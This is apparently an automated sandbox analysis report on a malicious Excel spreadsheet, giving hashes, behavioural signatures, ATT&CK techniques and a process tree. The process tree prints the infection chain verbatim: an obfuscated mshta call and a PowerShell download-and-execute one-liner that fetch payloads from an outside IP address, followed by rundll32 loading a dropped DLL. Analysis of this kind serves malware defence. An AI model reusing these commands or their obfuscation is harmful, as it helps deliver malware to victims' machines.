4fe65c13808d8fc349cd60fec4ff4891272efe6201b7f09157c3347d9fdde210

Analysis

max time kernel
136s
max time network
134s
platform
windows10_x64
resource
win10-en-20211208
submitted
23/12/2021, 14:20

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General

Target
02d62723ac6fc8cb5ea31ecd5d822f41.xls
Size 61KB
Sample211223-rnfgwsagdp
SHA256 4fe65c13808d8fc349cd60fec4ff4891272efe6201b7f09157c3347d9fdde210
MD5 02d62723ac6fc8cb5ea31ecd5d822f41
SHA1 782682f16ec0cd1a97f4f69423d5bdc41d6a9919
SHA512 2a9a48bd4cc3539602ed8eb64c35cea057351a806f6beb1e6100aa628bcfa5e9f3b164145b11d3f71040a46ef7f325cec409031a4809b51b5629a9a5de8128c4
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/oo.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1364	2652	cmd.exe	68

Blocklisted process makes network request 7 IoCs

flow	pid	Process
24	3280	mshta.exe
30	1900	powershell.exe
34	1900	powershell.exe
36	1900	powershell.exe
50	1900	powershell.exe
52	1900	powershell.exe
53	1900	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
1256	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2088	3280	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2652	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	2088	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 1364	2652	EXCEL.EXE	70
PID 2652 wrote to memory of 1364	2652	EXCEL.EXE	70
PID 1364 wrote to memory of 3280	1364	cmd.exe	72
PID 1364 wrote to memory of 3280	1364	cmd.exe	72
PID 3280 wrote to memory of 1900	3280	mshta.exe	74
PID 3280 wrote to memory of 1900	3280	mshta.exe	74
PID 1900 wrote to memory of 3772	1900	powershell.exe	80
PID 1900 wrote to memory of 3772	1900	powershell.exe	80
PID 3772 wrote to memory of 1256	3772	cmd.exe	81
PID 3772 wrote to memory of 1256	3772	cmd.exe	81
PID 3772 wrote to memory of 1256	3772	cmd.exe	81

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\02d62723ac6fc8cb5ea31ecd5d822f41.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/oo.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1900
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3772
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        
        PID:1256
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3280 -s 1640
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1900-312-0x00000261C9E43000-0x00000261C9E45000-memory.dmp

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memory/1900-311-0x00000261C9E40000-0x00000261C9E42000-memory.dmp

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memory/1900-313-0x00000261C9E46000-0x00000261C9E48000-memory.dmp

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memory/1900-306-0x00000261E25D0000-0x00000261E2646000-memory.dmp

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memory/1900-295-0x00000261E2170000-0x00000261E21AC000-memory.dmp

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memory/1900-276-0x00000261C9D90000-0x00000261C9DB2000-memory.dmp

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memory/2652-120-0x000002170CD90000-0x000002170CD92000-memory.dmp

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memory/2652-119-0x000002170CD90000-0x000002170CD92000-memory.dmp

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memory/2652-122-0x000002170CD90000-0x000002170CD92000-memory.dmp

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memory/2652-117-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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memory/2652-115-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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memory/2652-121-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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memory/2652-116-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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memory/2652-118-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

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